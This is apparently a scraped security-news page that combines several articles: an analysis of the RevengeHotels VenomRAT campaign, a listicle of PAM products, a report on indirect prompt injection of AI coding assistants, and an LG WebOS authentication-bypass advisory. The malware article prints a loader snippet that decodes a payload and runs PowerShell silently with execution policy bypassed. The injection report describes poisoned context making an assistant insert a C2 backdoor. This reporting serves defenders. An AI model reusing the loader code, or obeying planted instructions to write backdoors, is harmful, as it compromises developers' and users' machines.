In an increasingly complex digital landscape, where cloud migrations, remote work, and a distributed workforce have become the norm, the traditional security perimeter has all but disappeared. The most valuable and vulnerable assets of any organization are the privileged accounts those with elevated permissions to access critical systems and sensitive data. Think of accounts for […]
RevengeHotels, a financially motivated threat group active since 2015, has escalated its operations against hospitality organizations by integrating large language model–generated code into its infection chain.
Initially known for deploying bespoke RAT families such as RevengeRAT and NanoCoreRAT via phishing emails targeting hotel front-desk systems, the group’s latest campaigns pivot on delivering VenomRAT implants through dynamically generated JavaScript loaders and PowerShell downloaders.
These sophisticated initial infectors mimic professional development standards, embedding detailed comments and variable placeholders that suggest automated code generation.
A phishing email about a booking confirmation (Source – Securelist)
In recent months, operators have specifically targeted Brazilian hospitality networks, though Spanish-language lures have expanded the scope to Spanish-speaking markets in Latin America.
Emails masquerading as overdue invoice notifications or fake job applications entice recipients to visit malicious domains, which host scripts named in a rotating “Fat{NUMBER}.js” format—Portuguese for “invoice”—to initiate the download process.
Upon execution, the loader decodes an obfuscated buffer and writes a PowerShell file with a timestamped filename, ensuring each sample remains unique and evades signature-based detections.
Securelist analysts noted that these rotating filenames and the coherence of the generated code mark a departure from the group’s prior manual obfuscation efforts.
Once the PowerShell stub executes, it retrieves two Base64-encoded payloads—venumentrada.txt and runpe.txt—from remote servers.
The first file serves as a lightweight loader, while the second executes the VenomRAT payload directly in memory.
Securelist researchers identified that the loader employs a simple deobfuscation routine, as shown in Figure 1, to decode and invoke the implant without ever writing the final executable to disk.
AI generated code in a malicious implant as compared to custom code (Source – Securelist)
The VenomRAT implant itself builds upon the open-source QuasarRAT codebase, augmenting it with hidden desktop (HVNC), file-stealing modules, and UAC bypass primitives.
Configuration data is encrypted with AES-CBC and authenticated via HMAC-SHA256, using distinct keys for decryption and integrity verification.
Networking routines serialize action-specific packets, compress them with LZMA, and encrypt with AES-128 before transmission to the command-and-control server.
VenomRAT packages on the dark web (Source – Securelist)
Notably, VenomRAT integrates ngrok-based tunneling to expose RDP and VNC services, enhancing remote access capabilities even through NAT or firewall constraints.
Infection Mechanism
The infection chain’s success hinges on the initial JavaScript loader’s ability to orchestrate multi-stage payload delivery while blending AI-generated clarity with manual obfuscation.
After the phishing email’s user clicks the malicious link, the victim’s browser fetches a WScript JS file—Fat146571.js—which immediately decodes an embedded blob:-
var decoded = atob("SGDoHBZQWpL...");
// Write decoded PowerShell to disk
var fso = new ActiveXObject("Scripting.FileSystemObject");
var ps1 = fso.CreateTextFile("SGDoHBZQWpLKXCAoTHXdBGlnQJLZCGBOVGLH_" + Date.now() + ".ps1", true);
ps1.WriteLine(decoded);
ps1.Close();
// Execute the PowerShell script silently
WScript.CreateObject("WScript.Shell").Run("powershell -ExecutionPolicy Bypass -File " + ps1.Name, 0, false);
This segment exemplifies the AI’s role in producing clean, maintainable code that nonetheless performs malicious actions.
By generating unique filenames based on timestamps and avoiding persistent artifacts, the loader evades conventional antivirus and forensic tools.
The three-phase execution—decode, write, and execute—ensures that each infection instance differs, complicating detection signature updates.
Through this blend of AI-driven scripting and advanced RAT capabilities, RevengeHotels continues to refine its arsenal against Windows environments, posing a growing challenge to cybersecurity defenders.
Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free
In today’s complex digital landscape, where data breaches and cyberattacks are a constant threat, securing privileged accounts is more critical than ever.
Privileged Access Management (PAM) is a core component of any robust cybersecurity strategy, focusing on managing and monitoring elevated access to critical systems and data.
It ensures that only the right people, at the right time, have the necessary permissions to perform their tasks, thereby enforcing the principle of least privilege and significantly reducing an organization’s attack surface.
A well-implemented PAM solution is a non-negotiable step toward achieving a strong security posture.
The rapidly evolving threat landscape of 2025 has driven significant innovation in the PAM market. Organizations are looking for tools that not only secure passwords but also provide just-in-time (JIT) access, automate credential rotation, and offer comprehensive session monitoring.
The tools listed below represent the market leaders and emerging innovators that are best equipped to help you navigate these challenges and protect your most sensitive assets.
Each one offers a unique set of features and capabilities to meet the diverse needs of modern enterprises, from small businesses to large-scale, cloud-native environments.
How We Chose These Best Privileged Access Management (PAM) Tools
Our selection of the top Privileged Access Management (PAM) tools for 2025 is based on a rigorous evaluation process that aligns with key industry standards and real-world security needs.
We analyzed each solution based on its core functionality, innovation, ease of use, and overall value.
The primary criteria for our assessment included: comprehensive credential vaulting and rotation capabilities; robust session monitoring and auditing for compliance; flexible access control, including just-in-time and zero-trust models; and seamless integration with existing IT infrastructure.
We also considered user reviews and market recognition to ensure our list reflects not just technical capabilities but also practical usability and customer satisfaction.
Comparison Table: Top 10 Best Privileged Access Management (PAM) Tools in 2025
Feature
Credential Vaulting
Session Monitoring
Just-in-Time Access
Endpoint Privilege Management
Cloud-Native Support
Agentless Access
StrongDM
Yes
Yes
Yes
Yes
Yes
No
CyberArk
Yes
Yes
Yes
Yes
Yes
No
Okta ASA
Yes
Yes
Yes
Yes
Yes
No
Keeper Security
Yes
No
Yes
Yes
Yes
No
Delinea
Yes
Yes
Yes
Yes
Yes
No
HashiCorp Vault
Yes
Yes
Yes
No
Yes
Yes
ManageEngine PAM360
Yes
Yes
Yes
Yes
Yes
Yes
BeyondTrust PAM
Yes
Yes
Yes
Yes
Yes
Yes
miniOrange
Yes
Yes
Yes
Yes
Yes
Yes
Zygon
Yes
Yes
Yes
Yes
Yes
No
1. StrongDM
StrongDM
Specifications:
StrongDM is a Zero Trust Privileged Access Management solution that acts as a control plane for managing and monitoring access to databases, servers, Kubernetes clusters, and cloud infrastructure.
It standardizes logging and audit trails across diverse environments without requiring a VPN or exposing credentials to end-users. The platform is designed for modern, cloud-native teams who prioritize speed and security.
Reason to Buy:
It simplifies the complex task of securing and auditing access to your infrastructure, making it ideal for teams that need to enforce the principle of least privilege and achieve compliance without disrupting developer workflows.
Features:
Identity-based access control; Session recording and query logging; Automatic credential rotation; Integrations with all major identity providers; Agentless access to resources;
Pros:
Simple, user-friendly interface; Streamlined onboarding and offboarding; Excellent audit trail and logging; No direct access to credentials for users;
Cons:
Requires a proxy/gateway architecture; Can be less granular than some legacy tools; Pricing may be high for small teams; Requires internet access to the StrongDM API;
Best For: Modern, fast-paced DevOps and IT teams that need to secure access to diverse cloud infrastructure while maintaining a seamless user experience.
As a market leader in identity security, CyberArk Privileged Access Manager (PAM) provides a comprehensive, risk-centric approach to managing privileged credentials and sessions.
Its core offerings include a secure digital vault for credentials, robust session recording, and granular access controls, designed to protect against both internal and external threats.
Reason to Buy:
CyberArk is a top choice for large enterprises and highly regulated industries that require a mature, comprehensive, and scalable solution with a long-standing track record in the market.
Features:
Centralized privileged credential vault; Session isolation and monitoring; Just-in-time access provisioning; Privileged threat analytics; Automated password rotation and management;
Pros:
Industry-leading security features; Comprehensive and highly scalable; Extensive integrations with enterprise systems; Strong reporting and compliance capabilities;
Cons:
Complex and time-consuming to deploy; Steep learning curve for administrators; Can be expensive for smaller organizations; Support can be difficult to engage;
Best For: Large-scale enterprises and organizations in finance, government, and healthcare that require a robust, all-in-one PAM solution for strict compliance.
Okta ASA is a cloud-native PAM solution that provides secure, just-in-time access to servers using a zero-trust model.
It is designed to replace static SSH keys and VPNs with ephemeral, user-scoped certificates, ensuring that every access request is authenticated and authorized in real-time.
It’s a natural fit for organizations already using Okta for identity and access management.
Reason to Buy:
Ideal for cloud-centric organizations that want to extend their existing Okta identity security policies to server and infrastructure access.
Features:
Zero-trust server access; Just-in-time access with ephemeral certificates; Seamless integration with Okta SSO and MFA; Unified policy management; Detailed audit logs for every session;
Pros:
Tightly integrated with the Okta ecosystem; Simplifies and secures access to cloud servers; User-friendly for both admins and end-users; Eliminates the need for VPNs and shared keys;
Cons:
Pricing can become very expensive with many servers; Primarily focused on server access, not a full PAM suite; Less feature-rich compared to dedicated PAM vendors; Requires Okta’s core platform;
Best For: Cloud-native and modern organizations already leveraging Okta’s identity and access management solutions.
While known for its password management, Keeper Security offers a robust PAM solution designed for organizations of all sizes.
It provides a secure, encrypted vault for privileged credentials, alongside a suite of tools for session management, auditing, and role-based access control.
Its user-friendly interface makes it a strong contender for companies that want a low-friction security tool.
Reason to Buy:
Keeper is a great option for businesses that want a cost-effective, easy-to-deploy, and user-friendly PAM solution that can scale with their growth.
Features:
Secure privileged credential vault; Privileged session management and recording; Role-based access control; Automated password rotation; Secure sharing of credentials;
Pros:
Highly intuitive and easy to use; Quick to deploy and onboard users; Flexible pricing plans; Strong encryption and security protocols;
Cons:
Lacks some advanced features for large enterprises; Primarily focused on credential management; Some features require add-ons; May not be suitable for highly complex environments;
Best For: Small to medium-sized businesses (SMBs) and enterprises seeking an affordable, scalable, and easy-to-use PAM solution.
Formed by the merger of Thycotic and Centrify, Delinea offers a unified PAM platform that provides a diverse set of security controls for managing privileged access across on-premises and cloud environments.
Its solution includes a secure vault for secrets, session management, and privileged elevation and delegation management (PEDM), all from a single pane of glass.
Reason to Buy:
Delinea is a well-rounded and comprehensive solution for organizations of all sizes that are looking for a hybrid-friendly PAM solution that combines legacy strengths with modern, cloud-native capabilities.
Features:
Secrets and credential vault; Privileged session management and recording; Least privilege enforcement; Just-in-Time access control; AI-powered threat detection and analytics;
Pros:
Strong set of core PAM capabilities; Flexible deployment options (on-prem, cloud); Highly scalable for growing needs; AI-driven intelligence for threat detection;
Cons:
Some users report complex integrations; UI can be overwhelming for new users; Product naming can be confusing; May have a longer setup time;
Best For: Hybrid enterprises that need a robust PAM solution to manage privileged accounts across both on-premises and multi-cloud environments.
HashiCorp Vault is an open-source tool for secrets management that has become a popular choice for developers and DevOps teams.
While not a traditional PAM tool, it excels at managing and protecting sensitive data like API keys, passwords, and certificates, particularly in dynamic, cloud-native environments.
It provides a centralized, secure store for all secrets, ensuring they are not hard-coded into applications.
Reason to Buy:
A great choice for developer-centric organizations that need a flexible, programmatic way to manage secrets and credentials in automated workflows and CI/CD pipelines.
Features:
Centralized secrets management; Dynamic secrets for just-in-time access; Encryption-as-a-service; Extensive integration with cloud platforms; Fine-grained access policies;
Pros:
Open-source and highly customizable; Excellent for secrets management and automation; Strong community and support; Built for modern cloud and DevOps workflows;
Cons:
Not a full-fledged PAM solution out of the box; Requires significant technical expertise to configure; Lacks some traditional PAM features like session monitoring; Complex to deploy in legacy environments
Best For: DevOps, security, and developer teams that require a powerful, programmatic secrets management tool for automating privileged access in cloud-native applications.
ManageEngine PAM360 is a holistic Privileged Access Management solution that offers a unified platform for managing, controlling, and auditing the entire lifecycle of privileged accounts.
It integrates privileged account management, privileged session management, and privileged remote access, all within a single interface, making it a comprehensive choice for IT teams.
Reason to Buy:
PAM360 is a cost-effective and integrated solution, making it an excellent choice for organizations that need a full-featured PAM tool without the premium price tag.
Features:
Centralized privileged credential vaulting; Session recording and live monitoring; Just-in-time access with ticket ID validation; Remote access management; Threat analytics and behavioral analysis;
Pros:
Comprehensive and all-in-one platform; User-friendly interface; Affordable pricing for features offered; Strong reporting and audit capabilities;
Cons:
Mobile app functionality can be limited; Some advanced features require more configuration; Support quality can be inconsistent; Scalability may be an issue for very large enterprises;
Best For: Organizations looking for a unified, all-in-one PAM solution with a focus on ease of use and affordability, particularly for managing a hybrid environment.
BeyondTrust provides an integrated Privileged Access Management platform that secures all privileged identities, sessions, and endpoints.
Its Universal Privilege Management approach is designed to provide visibility and control over all privileged access, protecting against both internal and external threats while ensuring compliance with regulatory mandates.
Reason to Buy:
A powerful and well-established PAM provider, BeyondTrust is a solid choice for organizations that need a mature, enterprise-grade solution for securing both on-premises and cloud access.
Features:
Secure password vaulting and rotation; Endpoint privilege management; Privileged session management and monitoring; Secure remote access for vendors and employees; Cloud infrastructure entitlement management;
Pros:
Highly rated for its comprehensive features; Strong reporting and analytics; Excellent support for remote access; Robust endpoint privilege management;
Cons:
Can be expensive and complex to implement; Initial setup may take a long time; Support can be inconsistent for some users; UI is less modern than some competitors;
Best For: Large enterprises and government agencies that need a mature, enterprise-grade PAM solution to secure a wide range of on-premises and cloud assets.
miniOrange offers a comprehensive PAM solution that focuses on providing granular access control and enforcing the principle of least privilege.
Its platform includes privileged credential management, just-in-time access, and real-time session monitoring, all designed to secure your infrastructure while providing frictionless access for users.
Reason to Buy:
miniOrange is a flexible and affordable option for businesses that need a modular and customizable PAM solution that can be tailored to their specific security and compliance requirements.
Features:
Password vaulting and rotation; Just-in-time access; Agentless PAM for streamlined deployment; Privileged session monitoring and recording; Centralized access control and auditing;
Pros:
Highly customizable and modular; Affordable pricing; Strong focus on least privilege; Quick and easy to deploy;
Cons:
Less brand recognition than market leaders; May lack some enterprise-level features; Support and documentation can be limited; UI is less modern;
Best For: Businesses of all sizes that are looking for a customizable, budget-friendly PAM solution with a focus on core functionality.
Zygon provides a Privileged Access Management solution designed to offer just-in-time access, secure remote connections, and continuous monitoring to help organizations protect against cyber threats.
Its platform focuses on providing full visibility into all privileged accounts and activities, making it easier for security teams to detect and respond to suspicious behavior.
Reason to Buy:
Zygon is an emerging player that offers a straightforward, easy-to-use PAM tool, making it a viable alternative for organizations that want to simplify their security stack.
Features:
Privileged account discovery; Just-in-time and temporary access; Secure remote access gateways; Behavioral analytics for unusual activity; Detailed logging and auditing;
Pros:
Streamlined and easy to use; Focus on core PAM functionalities; Strong visibility into privileged activities; Good for organizations with basic needs;
Cons:
Less-known in the market; May lack advanced features; Limited integrations compared to top vendors; User reviews are scarce;
Best For: Small to medium-sized businesses and organizations that are new to PAM and need a simple, yet effective solution to get started.
The PAM market in 2025 is more dynamic and competitive than ever, with solutions ranging from comprehensive enterprise platforms to agile, cloud-native tools.
Your choice of a PAM solution should be driven by your organization’s specific needs, whether it’s a robust, all-in-one suite for a large enterprise or a flexible, developer-friendly tool for a cloud-first company.
Investing in the right PAM solution is a critical step in securing your digital assets and ensuring your long-term cybersecurity resilience.
For more insights on securing your organization, check out our guide on Privileged Access Management (PAM) Best Practices.
You can also explore our article on The Importance of Multi-Factor Authentication to enhance your access controls even further.
Modern development workflows increasingly rely on AI-driven coding assistants to accelerate software delivery and improve code quality.
However, recent research has illuminated a potent new threat: adversaries can exploit these tools to introduce backdoors and generate harmful content without immediate detection.
This vulnerability manifests through the misuse of context‐attachment features, where contaminated external data sources feed malicious prompts directly into the coding assistant’s workflow.
As a result, developers may inadvertently incorporate hidden payloads into their codebases, undermining security and trust.
The attack surface expands when threat actors compromise public repositories, documentation sites or scraped data feeds by embedding payload instructions that resemble legitimate code comments or metadata.
When these tainted sources are attached as context in an IDE plugin or via a remote URL, the coding assistant treats the malicious snippets as part of the developer’s request.
Palo Alto Networks researchers identified this indirect prompt injection vector as a critical weakness that bypasses standard content moderation filters and code‐review safeguards.
In a simulated scenario, a set of scraped social media posts provided as CSV input triggered the assistant to generate code containing a hidden backdoor.
The malicious function, named fetch_additional_data, reached out to an attacker‐controlled C2 server and executed returned commands under the guise of supplemental analytics.
When developers accepted the generated suggestion, the hidden routine executed automatically, granting unauthorized remote access.
The simplicity of the exploit hinges on the assistant’s inability to distinguish between instructions intended by the user and those surreptitiously embedded in external data.
Flow chart of direct and indirect prompt injections (Source – Palo Alto Networks)
This backdoor function inserted by the hijacked assistant, fetched from a remote C2 server. In practice, the injected code blends seamlessly into legitimate workflows, evading casual inspection.
Developers accustomed to trusting AI‐generated suggestions may overlook subtle differences in function signatures or comments.
Compounding the risk, coding assistants support multiple programming languages, meaning attackers need not tailor payloads to a specific environment—the assistant adapts the backdoor to the project’s language context.
Infection Mechanism Tactics
The infection mechanism begins with threat actors seeding a public data source—such as a GitHub README or publicly indexed CSV—with instructions disguised as legitimate code comments.
Upon ingestion, the assistant parses the content into its prompt pipeline, appending the malicious instructions before the user’s query.
This placement ensures the backdoor code appears as a natural extension of the developer’s request. Once the assistant generates the combined output, the hidden routine executes on the developer’s machine as soon as the code is applied.
A typical chat session places context as a preceding message (Source – Palo Alto Networks)
Detection evasion stems from the backdoor’s minimal footprint: no external libraries beyond standard HTTP requests, generic function names and obfuscated C2 URLs.
By embedding the routine within expected analytics functions, the exploit avoids raising alarms during manual or automated code reviews.
As AI tools become more autonomous, this vector will demand rigorous context validation and strict execution controls to prevent undetected compromise.
Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free
AI code assistants integrated into IDEs, like GitHub Copilot, offer powerful chat, auto-completion, and test-generation features. However, threat actors and careless users can exploit these capabilities to inject backdoors, leak sensitive data, and produce harmful code. Indirect prompt injection attacks exploit context-attachment features by contaminating public data sources with hidden instructions. When unsuspecting developers feed […]
A security vulnerability has been discovered in LG WebOS TV systems that allows attackers to gain complete control over affected devices by bypassing authentication mechanisms. The vulnerability, disclosed during the TyphoonPWN 2025 LG Category competition where it won first place, affects LG WebOS 43UT8050 and potentially other versions of the smart TV platform. Vulnerability Mechanics […]
Sekoia.io’s Threat Detection and Response (TDR) team has uncovered a sophisticated campaign by APT28 that weaponizes Signal Messenger to deploy two previously undocumented malware families—BeardShell and the Covenant framework. In early 2025, a trusted partner supplied samples that did not match any known infection chain, prompting a joint investigation. On 21 June 2025, CERT-UA published […]
A new supply chain attack has compromised multiple npm packages maintained by the crowdstrike-publisher account, marking a worrying continuation of the so-called “Shai-Halud attack.” Developers and organizations using these packages should take immediate action to safeguard credentials and prevent unauthorized code execution. The Shai-Halud attack first drew attention when it infiltrated tinycolor and over 40 […]
A major data breach at American First Finance, LLC has exposed sensitive information for nearly 700,000 customers. The breach, which occurred on May 31, 2024, was discovered over a year later on June 18, 2025. An ex-employee of the financial services firm is responsible for the unauthorized access, raising serious questions about insider threats and […]
A critical vulnerability has been discovered in LG’s WebOS for smart TVs, allowing an attacker on the same local network to bypass authentication mechanisms and achieve full control over the device.
The flaw, which affects models like the LG WebOS 43UT8050, enables unauthenticated attackers to gain root access, install malicious applications, and completely compromise the television. The vulnerability was disclosed during the TyphoonPWN 2025 hacking competition, where it secured first place.
The attack chain begins with a flaw in the browser-service running on the TV. This service activates on port 18888 when a USB storage device is connected. It exposes an API endpoint, /getFile, intended to allow peer devices to download files from specific directories.
path traversal
According to SSD-Disclosure, the vulnerability is due to a lack of proper input validation on the path parameter, the service is vulnerable to path traversal. This allows an attacker to request and download any file from the TV’s filesystem without needing to authenticate.
By exploiting this path traversal flaw, an attacker can access sensitive system files. The primary target is the database file located at /var/db/main/, which contains authentication keys for clients that have previously paired with the TV’s secondscreen.gateway service.
Armed with these keys, the attacker can impersonate a legitimate client and connect to the secondscreen service, bypassing all authentication checks. This grants them high-privilege access to the TV’s core functions.
From Vulnerability to Device Takeover
Once authenticated to the secondscreen service, the attacker has the privileges needed to enable developer mode on the device. From there, they can use developer tools to install any application, including malware designed to spy on the user, steal data, or use the TV as a bot in a larger network of compromised devices.
The proof-of-concept demonstrates how an attacker can leverage this access to execute arbitrary commands, effectively gaining root control and taking over the television.
The entire process can be automated with a simple script, allowing for rapid exploitation once initial access to the local network is gained.
In response to the disclosure, LG has released the security advisory SMR-SEP-2025 and urges users to ensure their devices are updated with the latest firmware to mitigate the threat.
Free live webinar on new malware tactics from our analysts! Learn advanced detection techniques -> Register for Free
.webp)
.webp)
.webp)
Yes
No
.webp)
.webp)
